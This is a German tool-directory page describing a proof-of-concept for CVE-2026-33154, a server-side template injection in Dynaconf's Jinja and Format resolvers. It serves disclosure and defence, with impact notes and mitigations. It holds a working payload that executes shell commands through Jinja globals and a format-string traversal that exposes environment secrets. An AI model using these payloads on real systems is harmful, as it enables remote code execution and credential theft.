Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33154 — Proof-of-Concept-Exploit für CVE-2026-33154, der Remote-Code-Ausführung über SSTI im Jinja-Resolver von Dynaconf demonstriert, mit Analyse- und Minderungsanleitung. | Kitploit
Tools/GitHubGitHub/redyank/cve-2026-33154
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & Bildung
GitHubredyank/cve-2026-33154

CVE-2026-33154

Proof-of-Concept-Exploit für CVE-2026-33154, der Remote-Code-Ausführung über SSTI im Jinja-Resolver von Dynaconf demonstriert, mit Analyse- und Minderungsanleitung.

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dynaconf SSTI-Schwachstellenbericht

Zusammenfassung

Dynaconf ist anfällig für Server-Side Template Injection (SSTI) aufgrund unsicherer Template-Auswertung im __@Jinja__-Resolver. Wenn das Paket jinja2 installiert ist, wertet Dynaconf in Konfigurationswerten eingebettete Template-Ausdrücke ohne eine Sandbox-Umgebung aus.

Wenn ein Angreifer Konfigurationsquellen wie folgende beeinflussen kann:

  • Umgebungsvariablen
  • .env-Dateien
  • Container-Umgebungskonfiguration
  • CI/CD-Geheimnisse

...kann er beliebige Betriebssystembefehle auf dem Hostsystem ausführen. Darüber hinaus ermöglicht der __@Format__-Resolver eine Traversierung des Objektgraphen, die sensible Laufzeitobjekte und Umgebungsvariablen offenlegen kann.


Details

Die Schwachstelle entsteht, weil den String-Resolvern von Dynaconf angemessene Sicherheitsgrenzen fehlen.

1. -Resolver

__@Jinja__

Der __@Jinja__-Resolver rendert Templates mit vollständiger Jinja2-Auswertung. Der Rendering-Kontext ist jedoch nicht in einer Sandbox gekapselt, was Angreifern den Zugriff auf Pythons interne Attribute ermöglicht. Mithilfe von Objekten wie cycler können Angreifer Pythons Globals erreichen und das os-Modul importieren.

Beispiel-Angriffspfad:

root@kitploit:~
cycler → __init__ → __globals__ → os → popen()

Dies führt zu beliebiger Befehlsausführung.


2. __@Format__-Resolver

Der __@Format__-Resolver führt eine Python-String-Formatierung mithilfe interner Objekte durch. Dies ermöglicht Angreifern, Pythons Objektgraphen zu durchlaufen und auf sensible Laufzeitobjekte zuzugreifen.

Beispiel-Traversierung:

root@kitploit:~
{this.__class__.__init__.__globals__[os].environ}

Dies kann Folgendes offenlegen:

  • API-Schlüssel
  • Datenbank-Anmeldedaten
  • Interne Dienst-Tokens
  • Umgebungsgeheimnisse

Proof of Concept (PoC)

root@kitploit:~
import os
from dynaconf import Dynaconf

# Bösartige Konfigurationsinjektion
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"

settings = Dynaconf()

print("[!] Ergebnis der Befehlsausführung:")
print(settings.RCE)

Auswirkungen

Eine erfolgreiche Ausnutzung ermöglicht Angreifern:

  • Ausführung beliebiger Betriebssystembefehle auf dem Hostsystem
  • Zugriff auf sensible Umgebungsvariablen
  • Kompromittierung von Anwendungsgeheimnissen
  • Vollständige Kompromittierung des laufenden Anwendungsprozesses

Da Konfigurationswerte aus CI/CD-Pipelines, Container-Orchestrierungssystemen oder Umgebungsinjektionen stammen können, kann diese Schwachstelle in realen Bereitstellungen remote ausnutzbar werden.


Abhilfe / Minderung

1. Jinja2-Sandbox für die Template-Rendering verwenden

root@kitploit:~
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)

2. __@Format__-Verwendung auf vertrauenswürdige Werte beschränken

root@kitploit:~
safe_value = "{name}".format(name=trusted_name)

Referenzen

  • GHSA-pxrr-hq57-q35p
  • CVE-2026-33154 — NVD
  • dynaconf/dynaconf@2fbb45e
  • Dynaconf Release 3.2.13
Tool herunterladen